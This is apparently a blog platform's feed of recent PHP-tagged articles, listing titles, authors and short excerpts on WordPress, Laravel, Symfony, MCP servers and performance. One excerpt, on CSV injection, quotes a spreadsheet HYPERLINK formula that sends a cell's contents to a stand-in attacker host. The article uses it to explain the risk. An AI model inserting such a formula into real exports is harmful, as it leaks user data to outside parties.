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Vicente G. Reyes5d ago • 6 min read
Rebuilding a Divi Blog with Custom Shortcodes: A Field Report
A redesign of the blog list and post detail pages for Rev6, a fitness and wellness platform running....
#wordpress#php#css#webdev
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Jaafar Abazid3d ago • 16 min read
The 200-byte trap: why WordPress core updates break Arabic URLs
You update WordPress on a quiet afternoon — a routine release, the kind you've installed a hundred.....
#wordpress#php#webdev#seo
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Steve McDougall1d ago • 7 min read
The Polling API Is the Most Underrated RFC PHP Has Shipped in Years
The Polling API gives PHP 8.6 native epoll and kqueue at last. Here's why the RFC nobody discussed i...
#php#php86#asyncphp#rfc
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Javier Eguiluz3d ago • 3 min read
New in EasyAdmin: Automatic Entity Injection in Custom Actions
Starting in EasyAdmin 5.1, Symfony can now inject your entities into custom actions with zero config...
#easyadmin#symfony#doctrine#php
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Ivan Mykhavko3d ago • 5 min read
bcrypt and Laravel: 72 Bytes, Not 72 Characters
I expected bcrypt to silently drop characters past 72. I did not expect it to bake in half an...
#laravel#php#security#webdev
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Russell Jones2d ago • 3 min read
One URL, two readers: serving HTML to people and Markdown to agents
How Waaseyaa serves the same content as a web page for people and clean Markdown for AI agents from ...
#waaseyaa#contentnegotiation#aiagents#php
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Ilia Alshanetsky5d ago • 7 min read
pdo_duckdb: DuckDB for PHP, Behind the PDO API You Already Know
DuckDB is the closest thing the analytics world has to SQLite. It runs in-process, needs no server,....
#php#duckdb#opensource#showdev
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Abdelrahman Dwedar2d ago • 6 min read
Introducing Selective - Super-Fast Bloom Filter Validation for Laravel Applications
I have written about Bloom Filters before in Bloom Filters Applied In Real Life Application - Larave...
#laravel#php#package#redis
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Matt Mochalkin5d ago • 10 min read
Mastering Symfony Security, Passports and Custom Authenticators
Security is the cornerstone of any modern web application, but historically, implementing robust...
#symfony#php#security#oauth
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Mike Georgeff2d ago • 5 min read
Context is Curated, Not Captured
Structured logs are only as good as the structure going in. A domain exception model, translation pi...
#architecture#softwareengineering#php#php8
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Robin Dhiman21h ago • 3 min read
Why Magento cart price rules get slow at checkout (and how to find the culprit)
I have watched a checkout get slower every time the marketing team shipped a new promotion. Not the....
#magento2#performance#php
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Anatolii2d ago • 9 min read
From PHP to Go: what took me longest to rewire
I wrote PHP for about seven years before Go became my main language — Laravel for five of them, Yii2...
#go#learning#microservices#php
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Jaafar Abazid3d ago • 1 min read
A WordPress update can silently truncate your long Arabic URLs — the bug's in core, in 3 places. I traced it and wrote a fix that survives every update: https://dev.to/jafarabazid/the-200-byte-trap-why-wordpress-core-updates-break-arabic-urls-5d5k
The 200-byte trap: why WordPress core updates break Arabic URLs ...
#opensource#php#webdev#wordpress
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Len Woodward8h ago • 6 min read
This Week In PHP Internals | June 24, 2026
Hello world, it's Wednesday, June 24, 2026, and here's what happened This Week in PHP...
#php#laravel#webdev#news
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Susumu Takahashi6d ago • 3 min read
Renaming a site without losing its data — separating display name from a stable identifier
A client asks you to rename a site from acme-staging to the production name acme. The moment you...
#wordpress#php#tutorial
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Robin Dhiman2d ago • 2 min read
CSV injection: the export button that runs code on someone else's machine
A customer fills in their name. They type =HYPERLINK("http://evil.example/?leak="&A2,"click")......
#websecurity#php#ecommerce
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Susumu Takahashi1d ago • 3 min read
Playwright versus WordPress's "admin email confirmation" screen — how automation can clear the 6-month gate
If you drive the WordPress admin via Playwright for long enough, one day a screen you've never seen....
#wordpress#php#tutorial
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Nasrul Hazim Bin MohamadJun 18, 2026 • 4 min read
The /.well-known/openid-configuration Alias That Makes MCP Connectors Just Work
Here's a small thing that cost a disproportionate amount of head-scratching this week: a remote MCP....
#laravel#php#opensource#architecture
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Susumu Takahashi2d ago • 3 min read
When WP admin shows a plugin update but WP-CLI doesn't — making automation see proprietary updaters
You open the "Updates" page in WordPress admin and see that Elementor Pro / ACF Pro / vk-blocks-pro....
#wordpress#php#tutorial
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Susumu Takahashi5d ago • 3 min read
"not a valid OPENSSH private key file" — building a compat layer for seven SSH private-key formats
If you wire SSH into WordPress maintenance automation, you'll meet this error sooner or...
#wordpress#php#tutorial
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Nasrul Hazim Bin Mohamad6d ago • 5 min read
The Generic MCP Toolbox: Tools That Register Themselves
I've now built MCP servers into enough Laravel apps to notice the pattern: I keep rewriting the same...
#laravel#php#opensource#architecture
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Nasrul Hazim Bin Mohamad1d ago • 5 min read
Dev Log: 2026-06-23 — Query Cleanups, Real Health Checks, Safer MCP Tools, and Password-Reset Plumbing
A wide day rather than a deep one — four separate threads across a few projects, each with a lesson....
#laravel#php#architecture#devops
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Nasrul Hazim Bin Mohamad1d ago • 5 min read
A Day of Performance Hardening: Hunting N+1s and Killing Wasted Queries in Laravel
Performance work has a reputation for being glamorous — the heroic "we cut latency by 80%" story....
#laravel#php#performance#testing
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Nasrul Hazim Bin Mohamad6d ago • 6 min read
Dev Log: 2026-06-19 — MCP Servers Everywhere, Email That Tracks Itself, and Menus That Behave
If today had a spine, it was MCP. I shipped the generic MCP toolbox into a public package and stood....
#laravel#php#architecture#opensource
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